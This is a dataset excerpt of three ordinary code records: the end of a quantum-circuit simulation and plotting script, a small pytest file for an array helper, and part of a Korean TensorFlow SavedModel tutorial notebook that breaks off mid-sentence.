for r in all_circuits:\n        resultsFile.write(str(r[3]) + \"\\n\")\n    resultsFile.write(\"\\n\")\n\n    newTime = perf_counter()\n    logFile.write(\"Total time taken for N=\" + str(n) + \" was \" + str(newTime - nStartTime) + \"\\n\")\n    logFile.write(\"\\n\")\n    nStartTime = newTime\n\n\n    # Normal Plot\n    plt.clf()\n    plt.axis([-.02, 1.6, 0, 1.02])\n    plt.plot(theta_list, exact_values, 'b')\n    for r in all_circuits:\n        if r[5] == 'h':\n            plt.errorbar(theta_list, r[3], yerr = hTest_computeErrorBars(SHOTS, r[3], CONFIDENCE_LEVEL), color = r[4], linestyle = '--')\n        elif r[5] == 't':\n            plt.errorbar(theta_list, r[3], yerr = twoCopyTest_computeErrorBars(SHOTS, r[3], CONFIDENCE_LEVEL), color = r[4], linestyle = '-')\n        else:\n            print(\"ERROR! Unknown algorithm type in r[4]. Don't know how to plot.\")\n    plt.legend([\"exact\"] + [r[1] for r in all_circuits])\n    plt.title(\"N = \" + str(n) + \" \" + PLOT_SUBTITLE_STRING)\n    plt.tight_layout()\n    plt.savefig(OUTPUT_DIRECTORY + \"/plot_n\" +str(n)+ \".png\", dpi=300)\n\n    # Linear Plot\n    plt.clf()\n    plt.axis([-.02, 1.02, 0, 1.02])\n    plt.plot(exact_values, exact_values, 'b')\n    for r in all_circuits:\n        if r[5] == 'h':\n            plt.errorbar(exact_values, r[3], yerr = hTest_computeErrorBars(SHOTS, r[3], CONFIDENCE_LEVEL), color = r[4], linestyle = '--')\n        elif r[5] == 't':\n            plt.errorbar(exact_values, r[3], yerr = twoCopyTest_computeErrorBars(SHOTS, r[3], CONFIDENCE_LEVEL), color = r[4], linestyle = '-')\n        else:\n            print(\"ERROR! Unknown algorithm type in r[4]. Don't know how to plot.\")\n    plt.legend([\"exact\"] + [r[1] for r in all_circuits])\n    plt.title(\"N = \" + str(n) + \" \" + PLOT_SUBTITLE_STRING)\n    plt.tight_layout()\n    plt.savefig(OUTPUT_DIRECTORY + \"/linearPlot_n\" +str(n)+ \".png\", dpi=300)\n\n    # Calculate slopes\n    resultsFile.write(\"Slopes, Std Err, R squared: \\n\")\n    for r in all_circuits:\n        regression = linregress(exact_values, r[3])\n        resultsFile.write(str(regression[0]) + \" , \" + str(regression[4]) + \" , \" + str(regression[2]) + \"\\n\")\n        r[6].append(regression[0]) # slope\n        r[7].append(regression[4]) # stderr\n    resultsFile.write(\"\\n\")\n\nresultsFile.close()\nlogFile.close()\n\n# Plot Slopes\ndef calculateSlopeError(numPoints, stderr, confidence_level):\n    \"\"\"\n    Calculates the error in the slope according to a given confidence level.\n\n    data : number of points the linregress was based on\n    stderr : generally, the error output by the linregress function\n    confidence_level : a decimal, such as 0.95\n\n    Calculations are based on these instructions:\n    https://stattrek.com/regression/slope-confidence-interval.aspx\n    \"\"\"\n    score = t.ppf(1 - ((1 - confidence_level) / 2), numPoints - 2)\n    margin_of_error = score * stderr\n    return margin_of_error\n\nplt.clf()\nplt.axis([N_LIST[0], N_LIST[-1] + 1, -0.1, 1.1])\nplt.plot(N_LIST, [1]*len(N_LIST), 'b')\nfor circTuple in all_circuits:\n    slopes = circTuple[6]\n    stdErrors = circTuple[7]\n    errors = [calculateSlopeError(NUM_THETAS, stderr, CONFIDENCE_LEVEL) for stderr in stdErrors]\n    if circTuple[5] == \"h\":\n        linestyle = '--'\n    elif circTuple[5] == \"t\":\n        linestyle = '-'\n    plt.errorbar(N_LIST, slopes, yerr = errors, color = circTuple[4], linestyle = linestyle)\nplt.legend([\"exact\"] + [r[1] for r in all_circuits])\nplt.title(\"Slopes. \" + PLOT_SUBTITLE_STRING)\nplt.tight_layout()\nplt.savefig(OUTPUT_DIRECTORY + \"/slopePlot.png\", dpi=300)\n", "meta": {"hexsha": "813d65de57d4e3b372acd10b2d60fd7d2647f978", "size": 19581, "ext": "py", "lang": "Python", "max_stars_repo_path": "simulateCircuitsScript.py", "max_stars_repo_name": "lanl/qubit-efficient-entanglement-spectroscopy", "max_stars_repo_head_hexsha": "9a3bbc178b84ea08b43e76081a3f38864a8bf498", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "simulateCircuitsScript.py", "max_issues_repo_name": "lanl/qubit-efficient-entanglement-spectroscopy", "max_issues_repo_head_hexsha": "9a3bbc178b84ea08b43e76081a3f38864a8bf498", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "simulateCircuitsScript.py", "max_forks_repo_name": "lanl/qubit-efficient-entanglement-spectroscopy", "max_forks_repo_head_hexsha": "9a3bbc178b84ea08b43e76081a3f38864a8bf498", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-09-06T06:54:29.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-06T06:54:29.000Z", "avg_line_length": 50.7279792746, "max_line_length": 284, "alphanum_fraction": 0.6711608192, "include": true, "reason": "import numpy,from scipy", "num_tokens": 6885, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926344647597, "lm_q2_score": 0.13296424191570594, "lm_q1q2_score": 0.059753150964108714}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nThis module test the functions for manipulating and combining Python arrays.\r\n\"\"\"\r\n__version__ = '1.0'\r\n__author__ = 'Noemie Fedon'\r\n\r\nimport pytest\r\nimport numpy as np\r\n\r\nfrom arrays import max_arrays\r\n\r\n@pytest.mark.parametrize(\r\n    \"array1, array2, expect\", [\r\n        (np.array([1]), np.array([4, 3, 5]), np.array([4, 3, 5])),\r\n        (np.array([1, 2, 3]), np.array([4, 3, 5]), np.array([4, 3, 5]))\r\n        ])\r\n\r\ndef test_max_arrays(array1, array2, expect):\r\n    output = max_arrays(array1, array2)\r\n    assert (output == expect).all()\r\n\r\ndef test_max_arrays_error():\r\n    array1 = np.array([1, 2])\r\n    array2 = np.array([1, 2, 3])\r\n    with pytest.raises(ValueError):\r\n        max_arrays(array1, array2)", "meta": {"hexsha": "12d27365de889eea6a1049a03dd12323875aa705", "size": 742, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/divers/test_arrays.py", "max_stars_repo_name": "noemiefedon/BELLA", "max_stars_repo_head_hexsha": "ca86e5cd6f593478235c64aa4d0409b0e78dbcbb", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/divers/test_arrays.py", "max_issues_repo_name": "noemiefedon/BELLA", "max_issues_repo_head_hexsha": "ca86e5cd6f593478235c64aa4d0409b0e78dbcbb", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/divers/test_arrays.py", "max_forks_repo_name": "noemiefedon/BELLA", "max_forks_repo_head_hexsha": "ca86e5cd6f593478235c64aa4d0409b0e78dbcbb", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.4814814815, "max_line_length": 77, "alphanum_fraction": 0.602425876, "include": true, "reason": "import numpy", "num_tokens": 218, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.13296424019782924, "lm_q1q2_score": 0.05975315019210757}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# ##### Copyright 2018 The TensorFlow Authors.\n\n# In[ ]:\n\n\n#@title Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n# # SavedModel \ud3ec\ub9f7 \uc0ac\uc6a9\ud558\uae30\n\n# <table class=\"tfo-notebook-buttons\" align=\"left\">\n#   <td>\n#     <a target=\"_blank\" href=\"https://www.tensorflow.org/guide/saved_model\">\n#     <img src=\"https://www.tensorflow.org/images/tf_logo_32px.png\" />\n#     TensorFlow.org\uc5d0\uc11c \ubcf4\uae30</a>\n#   </td>\n#   <td>\n#     <a target=\"_blank\" href=\"https://colab.research.google.com/github/tensorflow/docs-l10n/blob/master/site/ko/guide/saved_model.ipynb\">\n#     <img src=\"https://www.tensorflow.org/images/colab_logo_32px.png\" />\n#     \uad6c\uae00 \ucf54\ub7a9(Colab)\uc5d0\uc11c \uc2e4\ud589\ud558\uae30</a>\n#   </td>\n#   <td>\n#     <a target=\"_blank\" href=\"https://github.com/tensorflow/docs-l10n/blob/master/site/ko/guide/saved_model.ipynb\">\n#     <img src=\"https://www.tensorflow.org/images/GitHub-Mark-32px.png\" />\n#     \uae43\ud5c8\ube0c(GitHub) \uc18c\uc2a4 \ubcf4\uae30</a>\n#   </td>\n# </table>\n\n# Note: \uc774 \ubb38\uc11c\ub294 \ud150\uc11c\ud50c\ub85c \ucee4\ubba4\ub2c8\ud2f0\uc5d0\uc11c \ubc88\uc5ed\ud588\uc2b5\ub2c8\ub2e4. \ucee4\ubba4\ub2c8\ud2f0 \ubc88\uc5ed \ud65c\ub3d9\uc758 \ud2b9\uc131\uc0c1 \uc815\ud655\ud55c \ubc88\uc5ed\uacfc \ucd5c\uc2e0 \ub0b4\uc6a9\uc744 \ubc18\uc601\ud558\uae30 \uc704\ud574 \ub178\ub825\ud568\uc5d0\ub3c4\n# \ubd88\uad6c\ud558\uace0 [\uacf5\uc2dd \uc601\ubb38 \ubb38\uc11c](https://www.tensorflow.org/?hl=en)\uc758 \ub0b4\uc6a9\uacfc \uc77c\uce58\ud558\uc9c0 \uc54a\uc744 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# \uc774 \ubc88\uc5ed\uc5d0 \uac1c\uc120\ud560 \ubd80\ubd84\uc774 \uc788\ub2e4\uba74\n# [tensorflow/docs-l10n](https://github.com/tensorflow/docs-l10n/) \uae43\ud5d9 \uc800\uc7a5\uc18c\ub85c \ud480 \ub9ac\ud018\uc2a4\ud2b8\ub97c \ubcf4\ub0b4\uc8fc\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4.\n# \ubb38\uc11c \ubc88\uc5ed\uc774\ub098 \ub9ac\ubdf0\uc5d0 \ucc38\uc5ec\ud558\ub824\uba74\n# [docs-ko@tensorflow.org](https://groups.google.com/a/tensorflow.org/forum/#!forum/docs-ko)\ub85c\n# \uba54\uc77c\uc744 \ubcf4\ub0b4\uc8fc\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4.\n\n# SavedModel\uc5d0\ub294 \uac00\uc911\uce58 \ubc0f \uc5f0\uc0b0\uc744 \ud3ec\ud568\ud55c \uc644\uc804\ud55c \ud150\uc11c\ud50c\ub85c \ud504\ub85c\uadf8\ub7a8\uc774 \ud3ec\ud568\ub429\ub2c8\ub2e4. \uae30\uc874\uc5d0 \uc124\uacc4\ud588\ub358 \ubaa8\ub378 \ucf54\ub4dc\ub97c \uc2e4\ud589\ud560 \ud544\uc694\uac00 \uc5c6\uc5b4 \uacf5\uc720\ud558\uac70\ub098 ([TFLite](https://tensorflow.org/lite), [TensorFlow.js](https://js.tensorflow.org/), [TensorFlow Serving](https://www.tensorflow.org/tfx/serving/tutorials/Serving_REST_simple), [TFHub](https://tensorflow.org/hub)\uc640 \uac19\uc740 \ud658\uacbd\uc73c\ub85c) \ubc30\ud3ec\ud558\ub294 \ub370 \uc720\uc6a9\ud569\ub2c8\ub2e4.\n# \n# \ud30c\uc774\uc36c \ubaa8\ub378 \ucf54\ub4dc\ub97c \uac00\uc9c0\uace0 \uc788\uace0 \ud30c\uc774\uc36c \ub0b4\uc5d0\uc11c \uac00\uc911\uce58\ub97c \ubd88\ub7ec\uc624\uace0 \uc2f6\ub2e4\uba74, [\uccb4\ud06c\ud3ec\uc778\ud2b8 \ud6c8\ub828 \uac00\uc774\ub4dc](./checkpoint.ipynb)\ub97c \ucc38\uc870\ud558\uc138\uc694.\n# \n# \ube60\ub978 \uc18c\uac1c\ub97c \uc704\ud574 \uc774 \uc139\uc158\uc5d0\uc11c\ub294 \ubbf8\ub9ac \ud6c8\ub828\ub41c \ucf00\ub77c\uc2a4 \ubaa8\ub378\uc744 \ub0b4\ubcf4\ub0b4\uace0 \uadf8 \ubaa8\ub378\ub85c \uc774\ubbf8\uc9c0 \ubd84\ub958 \uc694\uccad\uc744 \ucc98\ub9ac\ud569\ub2c8\ub2e4. \ub098\uba38\uc9c0 \uac00\uc774\ub4dc\uc5d0\uc11c\ub294 \uc138\ubd80 \uc815\ubcf4\uc640 SavedModel\uc744 \ub9cc\ub4dc\ub294 \ub2e4\ub978 \ubc29\ubc95\uc5d0 \ub300\ud574 \uc124\uba85\ud569\ub2c8\ub2e4.\n\n# In[ ]:\n\n\nimport tensorflow as tf\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\n\n# In[ ]:\n\n\nfile = tf.keras.utils.get_file(\n    \"grace_hopper.jpg\",\n    \"https://storage.googleapis.com/download.tensorflow.org/example_images/grace_hopper.jpg\")\nimg = tf.keras.preprocessing.image.load_img(file, target_size=[224, 224])\nplt.imshow(img)\nplt.axis('off')\nx = tf.keras.preprocessing.image.img_to_array(img)\nx = tf.keras.applications.mobilenet.preprocess_input(\n    x[tf.newaxis,...])\n\n\n# \uc2e4\ud589 \uc608\uc81c\ub85c \uadf8\ub808\uc774\uc2a4 \ud638\ud37c(Grace Hopper)\uc758 \uc774\ubbf8\uc9c0\uc640 \uc0ac\uc6a9\uc774 \uc26c\uc6b4 \ucf00\ub77c\uc2a4 \uc0ac\uc804 \ud6c8\ub828 \uc774\ubbf8\uc9c0 \ubd84\ub958 \ubaa8\ub378\uc744 \uc0ac\uc6a9\ud560 \uac83\uc785\ub2c8\ub2e4. \uc0ac\uc6a9\uc790 \uc815\uc758 \ubaa8\ub378\ub3c4 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub294\ub370, \uc790\uc138\ud55c \uac83\uc740 \ub098\uc911\uc5d0 \uc124\uba85\ud569\ub2c8\ub2e4.\n\n# In[ ]:\n\n\n#tf.keras.applications.vgg19.decode_predictions\nlabels_path = tf.keras.utils.get_file('ImageNetLabels.txt','https://storage.googleapis.com/download.tensorflow.org/data/ImageNetLabels.txt')\nimagenet_labels = np.array(open(labels_path).read().splitlines())\n\n\n# In[ ]:\n\n\npretrained_model = tf.keras.applications.MobileNet()\nresult_before_save = pretrained_model(x)\nprint()\n\ndecoded = imagenet_labels[np.argsort(result_before_save)[0,::-1][:5]+1]\n\nprint(\"\uc800\uc7a5 \uc804 \uacb0\uacfc:\\n\", decoded)\n\n\n# \uc774 \uc774\ubbf8\uc9c0\uc758 \uac00\uc7a5 \uac00\ub2a5\uc131 \uc788\ub294 \uc608\uce21\uc740 \"\uad70\ubcf5\"\uc785\ub2c8\ub2e4.\n\n# In[ ]:\n\n\ntf.saved_model.save(pretrained_model, \"/tmp/mobilenet/1/\")\n\n\n# \uc800\uc7a5 \uacbd\ub85c\uc758 \ub9c8\uc9c0\ub9c9 \uacbd\ub85c \uc694\uc18c(\uc5ec\uae30\uc11c\ub294 `1/`)\ub294 \ubaa8\ub378\uc758 \ubc84\uc804 \ubc88\ud638\uc778 \ud150\uc11c\ud50c\ub85c \uc11c\ube59(TensorFlow Serving) \ucee8\ubca4\uc158\uc744 \ub530\ub985\ub2c8\ub2e4 - \ud150\uc11c\ud50c\ub85c \uc11c\ube59\uacfc \uac19\uc740 \ub3c4\uad6c\uac00 \ucd5c\uc2e0 \ubaa8\ub378\uc744 \uad6c\ubd84\ud560 \uc218 \uc788\uac8c \ud569\ub2c8\ub2e4.\n# \n# SavedModel\uc740 \uc2dc\uadf8\ub2c8\ucc98(signatures)\ub77c \ubd88\ub9ac\ub294 \uc774\ub984\uc788\ub294 \ud568\uc218\ub97c \uac00\uc9d1\ub2c8\ub2e4. \ucf00\ub77c\uc2a4 \ubaa8\ub378\uc740 `serving_default` \uc2dc\uadf8\ub2c8\ucc98 \ud0a4\ub97c \uc0ac\uc6a9\ud558\uc5ec \uc815\ubc29\ud5a5 \ud328\uc2a4(forward pass)\ub97c \ub0b4\ubcf4\ub0c5\ub2c8\ub2e4. [SavedModel \ucee4\ub9e8\ub4dc \ub77c\uc778 \uc778\ud130\ud398\uc774\uc2a4](#details_of_the_savedmodel_command_line_interface)\ub294 \ub514\uc2a4\ud06c\uc5d0 \uc800\uc7a5\ub41c SavedModel\uc744 \uac80\uc0ac\ud560 \ub54c \uc720\uc6a9\ud569\ub2c8\ub2e4.\n\n# In[ ]:\n\n\nget_ipython().system('saved_model_cli show --dir /tmp/mobilenet/1 --tag_set serve --signature_def serving_default')\n\n\n# \ud30c\uc774\uc36c\uc5d0\uc11c `tf.saved_model.load`\ub85c SavedModel\uc744 \ub2e4\uc2dc \ubd88\ub7ec\uc624\uace0 \ud574\uad70\ub300\uc7a5 \ud638\ud37c(Admiral Hopper)\uc758 \uc774\ubbf8\uc9c0\uac00 \uc5b4\ub5bb\uac8c \ubd84\ub958\ub418\ub294\uc9c0 \ubcfc \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n\n# In[ ]:\n\n\nloaded = tf.saved_model.load(\"/tmp/mobilenet/1/\")\nprint(list(loaded.signatures.keys()))  # [\"serving_default\"]\n\n\n# \uac00\uc838\uc628 \uc2dc\uadf8\ub2c8\ucc98\ub294 \ud56d\uc0c1 \ub515\uc154\ub108\ub9ac\ub97c \ubc18\ud658\ud569\ub2c8\ub2e4.\n\n# In[ ]:\n\n\ninfer = loaded.signatures[\"serving_default\"]\nprint(infer.structured_outputs)\n\n\n# SavedModel\ub85c\ubd80\ud130 \ucd94\ub860\uc744 \uc2e4\ud589\ud558\uba74 \ucc98\uc74c \ubaa8\ub378\uacfc \uac19\uc740 \uacb0\uacfc\ub97c \uc81c\uacf5\ud569\ub2c8\ub2e4.\n\n# In[ ]:\n\n\nlabeling = infer(tf.constant(x))[pretrained_model.output_names[0]]\n\ndecoded = imagenet_labels[np.argsort(labeling)[0,::-1][:5]+1]\n\nprint(\"\uc800\uc7a5\uacfc \ubd88\ub7ec\uc624\uae30 \uc774\ud6c4\uc758 \uacb0\uacfc:\\n\", decoded)\n\n\n# ## \ud150\uc11c\ud50c\ub85c \uc11c\ube59\uc73c\ub85c \ubaa8\ub378 \ubc30\ud3ec\ud558\uae30\n# \n# SavedModel\uc740 \ud30c\uc774\uc36c\uc5d0\uc11c \uc0ac\uc6a9\ud558\uae30\uc5d0 \uc801\ud569\ud558\uc9c0\ub9cc, \uc77c\ubc18\uc801\uc73c\ub85c \ud504\ub85c\ub355\uc158 \ud658\uacbd\uc5d0\uc11c\ub294 \ucd94\ub860\uc744 \uc704\ud55c \uc804\uc6a9 \uc11c\ube44\uc2a4\ub97c \uc0ac\uc6a9\ud569\ub2c8\ub2e4. \uc774\ub294 \ud150\uc11c\ud50c\ub85c \uc11c\ube59\uc744 \uc0ac\uc6a9\ud55c SavedModel\ub85c \uc27d\uac8c \uad6c\uc131\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# \n# `tensorflow_model_server`\ub97c \ub178\ud2b8\ubd81\uc774\ub098 \ub85c\uceec \uba38\uc2e0\uc5d0 \uc124\uce58\ud558\ub294 \ubc29\ubc95\uc744 \ud3ec\ud568\ud55c \ud150\uc11c\ud50c\ub85c \uc11c\ube59\uc5d0 \ub300\ud55c \uc790\uc138\ud55c \ub0b4\uc6a9\uc740 [TensorFlow Serving REST \ud29c\ud1a0\ub9ac\uc5bc](https://github.com/tensorflow/serving/blob/master/tensorflow_serving/g3doc/tutorials/Serving_REST_simple.ipynb)\uc744 \ucc38\uc870\ud558\uc2ed\uc2dc\uc624. \uac04\ub2e8\ud55c \uc608\ub97c \ub4e4\uba74 \uc55e\uc11c \ub0b4\ubcf4\ub0b8 `mobilenet` \ubaa8\ub378\uc744 \ubc30\ud3ec\ud558\uae30 \uc704\ud574 \ubaa8\ub378 \uacbd\ub85c\ub97c SavedModel \ub514\ub809\ud1a0\ub9ac\ub85c \uc124\uc815\ud569\ub2c8\ub2e4:\n# \n# ```bash\n# nohup tensorflow_model_server \\\n#   --rest_api_port=8501 \\\n#   --model_name=mobilenet \\\n#   --model_base_path=\"/tmp/mobilenet\" >server.log 2>&1\n# ```\n# \n#   \uc774\uc81c \uc694\uccad\uc744 \ubcf4\ub0c5\ub2c8\ub2e4.\n# \n# ```python\n# !pip install requests\n# import json\n# import numpy\n# import requests\n# data = json.dumps({\"signature_name\": \"serving_default\",\n#                    \"instances\": x.tolist()})\n# headers = {\"content-type\": \"application/json\"}\n# json_response = requests.post('http://localhost:8501/v1/models/mobilenet:predict',\n#                               data=data, headers=headers)\n# predictions = numpy.array(json.loads(json_response.text)[\"predictions\"])\n# ```\n# \n# `predictions`\uc758 \uacb0\uacfc\ub294 \ud30c\uc774\uc36c\uc5d0\uc11c\uc640 \uac19\uc2b5\ub2c8\ub2e4.\n\n# ### SavedModel \ud3ec\ub9f7\n# \n# SavedModel\uc740 \ubcc0\uc218\uac12\uacfc \uc0c1\uc218\ub97c \ud3ec\ud568\ud558\uace0 \uc9c1\ub82c\ud654\ub41c \uc2dc\uadf8\ub2c8\ucc98\uc640 \uc774\ub97c \uc2e4\ud589\ud558\ub294 \ub370 \ud544\uc694\ud55c \uc0c1\ud0dc\ub97c \ub2f4\uc740 \ub514\ub809\ud1a0\ub9ac\uc785\ub2c8\ub2e4.\n\n# In[ ]:\n\n\nget_ipython().system('ls /tmp/mobilenet/1  # assets\\tsaved_model.pb\\tvariables')\n\n\n# `saved_model.pb` \ud30c\uc77c\uc740 \uac01\uac01 \ud558\ub098\uc758 \ud568\uc218\ub85c \ub41c \uc774\ub984\uc788\ub294 \uc2dc\uadf8\ub2c8\ucc98 \uc138\ud2b8\ub97c \ud3ec\ud568\ud569\ub2c8\ub2e4.\n# \n# SavedModel\uc5d0\ub294 \ub2e4\uc911 \uc2dc\uadf8\ub2c8\ucc98 \uc138\ud2b8(`saved_model_cli`\uc758 `tag_set` \ub9e4\uac1c\ubcc0\uc218 \uac12\uc73c\ub85c \ud655\uc778\ub41c \ub2e4\uc911 MetaGraph)\ub97c \ud3ec\ud568\ud560 \uc218 \uc788\uc9c0\ub9cc \uc774\ub7f0 \uacbd\uc6b0\ub294 \ub4dc\ubb45\ub2c8\ub2e4. \ub2e4\uc911 \uc2dc\uadf8\ub2c8\ucc98 \uc138\ud2b8\ub97c \uc791\uc131\ud558\ub294 API\uc5d0\ub294 [`tf.Estimator.experimental_export_all_saved_models`](https://www.tensorflow.org/api_docs/python/tf/estimator/Estimator#experimental_export_all_saved_models) \ubc0f TensorFlow 1.x\uc758 `tf.saved_model.Builder`\uac00 \ud3ec\ud568\ub429\ub2c8\ub2e4.\n\n# In[ ]:\n\n\nget_ipython().system('saved_model_cli show --dir /tmp/mobilenet/1 --tag_set serve')\n\n\n# `variables` \ub514\ub809\ud1a0\ub9ac\uc5d0\ub294 \uc77c\ubc18\uc801\uc778 \ud6c8\ub828 \uccb4\ud06c\ud3ec\uc778\ud2b8 \ud30c\uc77c\uc774 \uc788\uc2b5\ub2c8\ub2e4([\ud6c8\ub828 \uccb4\ud06c\ud3ec\uc778\ud2b8 \uac00\uc774\ub4dc](./checkpoint.ipynb) \ucc38\uc870).\n\n# In[ ]:\n\n\nget_ipython().system('ls /tmp/mobilenet/1/variables')\n\n\n# `assets` \ub514\ub809\ud1a0\ub9ac\uc5d0\ub294 \ud150\uc11c\ud50c\ub85c \uadf8\ub798\ud504(TensorFlow graph)\uc5d0\uc11c \uc0ac\uc6a9\ub418\ub294 \ud30c\uc77c\ub4e4, \uc608\ub97c \ub4e4\uc5b4 \uc0c1\uc218 \ud14c\uc774\ube14\uc744 \ucd08\uae30\ud654\ud558\ub294 \ub370 \uc0ac\uc6a9\ub418\ub294 \ud14d\uc2a4\ud2b8 \ud30c\uc77c\ub4e4\uc774 \uc788\uc2b5\ub2c8\ub2e4. \uc774\ubc88 \uc608\uc81c\uc5d0\uc11c\ub294 \uc0ac\uc6a9\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.\n# \n# SavedModel\uc740 \ud150\uc11c\ud50c\ub85c \uadf8\ub798\ud504\uc5d0\uc11c \uc0ac\uc6a9\ub418\uc9c0 \uc54a\ub294 \ud30c\uc77c\uc744 \uc704\ud574 `assets.extra` \ub514\ub809\ud1a0\ub9ac\ub97c \uac00\uc9c8 \uc218 \uc788\ub294\ub370, \uc608\ub97c \ub4e4\uba74 \uc0ac\uc6a9\uc790\uac00 SavedModel\uacfc \ud568\uaed8 \uc0ac\uc6a9\ud560 \ud30c\uc77c\uc785\ub2c8\ub2e4. \ud150\uc11c\ud50c\ub85c \uc790\uccb4\ub294 \uc774 \ub514\ub809\ud1a0\ub9ac\ub97c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.\n\n# ### \uc0ac\uc6a9\uc790 \uc815\uc758 \ubaa8\ub378 \ub0b4\ubcf4\ub0b4\uae30\n# \n# \uccab \ubc88\uc9f8 \uc139\uc158\uc5d0\uc11c\ub294, `tf.saved_model.save`\uac00 `tf.keras.Model` \uac1d\uccb4\uc5d0 \ub300\ud55c \uc2dc\uadf8\ub2c8\ucc98\ub97c \uc790\ub3d9\uc73c\ub85c \uacb0\uc815\ud588\uc2b5\ub2c8\ub2e4. \uc774\ub294 \ucf00\ub77c\uc2a4\uc758 `Model` \uac1d\uccb4\uac00 \ub0b4\ubcf4\ub0b4\uae30 \uc704\ud55c \uba85\uc2dc\uc801 \uba54\uc11c\ub4dc\uc640 \uc785\ub825 \ud06c\uae30\ub97c \uac00\uc9c0\uae30 \ub54c\ubb38\uc5d0 \uc791\ub3d9\ud588\uc2b5\ub2c8\ub2e4. `tf.saved_model.save`\ub294 \uc800\uc218\uc900(low-level) \ubaa8\ub378 \uc124\uacc4 API\uc640\ub3c4 \uc798 \uc791\ub3d9\ud558\uc9c0\ub9cc, \ubaa8\ub378\uc744 \ud150\uc11c\ud50c\ub85c \uc11c\ube59\uc5d0 \ubc30\ud3ec\ud560 \uacc4\ud68d\uc774\ub77c\uba74 \uc2dc\uadf8\ub2c8\ucc98\ub85c \uc0ac\uc6a9\ud560 \ud568\uc218\ub97c \uc9c0\uc815\ud574\uc57c \ud569\ub2c8\ub2e4.\n\n# In[ ]:\n\n\nclass CustomModule(tf.Module):\n\n  def __init__(self):\n    super(CustomModule, self).__init__()\n    self.v = tf.Variable(1.)\n\n  @tf.function\n  def __call__(self, x):\n    return x * self.v\n\n  @tf.function(input_signature=[tf.TensorSpec([], tf.float32)])\n  def mutate(self, new_v):\n    self.v.assign(new_v)\n\nmodule = CustomModule()\n\n\n# \uc774 \ubaa8\ub4c8\uc740 `tf.function` \ub370\ucf54\ub808\uc774\ud130\uac00 \uc801\uc6a9\ub41c \ub450 \uba54\uc11c\ub4dc\ub97c \uac00\uc9c0\uace0 \uc788\uc2b5\ub2c8\ub2e4. \uc774 \ud568\uc218\ub4e4\uc740 SavedModel\uc5d0 \ud3ec\ud568\ub418\uc5b4 \uc788\uc73c\ubbc0\ub85c `tf.saved_model.load` \ud568\uc218\ub97c \uc0ac\uc6a9\ud558\uc5ec \ud30c\uc774\uc36c \ud504\ub85c\uadf8\ub7a8\uc5d0 \ud568\uaed8 \ub85c\ub4dc\ub429\ub2c8\ub2e4. \ud558\uc9c0\ub9cc \uba85\uc2dc\uc801 \uc120\uc5b8 \uc5c6\uc774\ub294 \ud150\uc11c\ud50c\ub85c \uc11c\ube59\uacfc \uac19\uc740 \uc2dc\uadf8\ub2c8\ucc98 \ubc30\ud3ec \ub3c4\uad6c\uc640 `saved_model_cli`\uac00 \uc811\uadfc\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.\n# \n# `module.mutate`\ub294 `input_signature`\ub97c \uac00\uc9c0\uace0 \uc788\uc5b4\uc11c \uacc4\uc0b0 \uadf8\ub798\ud504\ub97c SavedModel\uc5d0 \uc800\uc7a5\ud558\uae30 \uc704\ud55c \uc815\ubcf4\uac00 \uc774\ubbf8 \ucda9\ubd84\ud788 \uc788\uc2b5\ub2c8\ub2e4. `__call__`\uc740 \uc2dc\uadf8\ub2c8\ucc98\uac00 \uc5c6\uae30\uc5d0 \uc800\uc7a5\ud558\uae30 \uc804 \uc774 \uba54\uc11c\ub4dc\ub97c \ud638\ucd9c\ud574\uc57c \ud569\ub2c8\ub2e4.\n\n# In[ ]:\n\n\nmodule(tf.constant(0.))\ntf.saved_model.save(module, \"/tmp/module_no_signatures\")\n\n\n# `input_signature`\uac00 \uc5c6\ub294 \ud568\uc218\uc758 \uacbd\uc6b0, \uc800\uc7a5 \uc804\uc5d0 \uc0ac\uc6a9\ub41c \uc785\ub825\uc758 \ud06c\uae30\ub294 \ud568\uc218\uac00 \ubd88\ub824\uc9c4 \uc774\ud6c4\uc5d0 \uc0ac\uc6a9\ub420 \uac83\uc785\ub2c8\ub2e4. \uc2a4\uce7c\ub77c\uac12\uc73c\ub85c `__call__`\uc744 \ud638\ucd9c\ud588\uc73c\ubbc0\ub85c \uc2a4\uce7c\ub77c\uac12\ub9cc 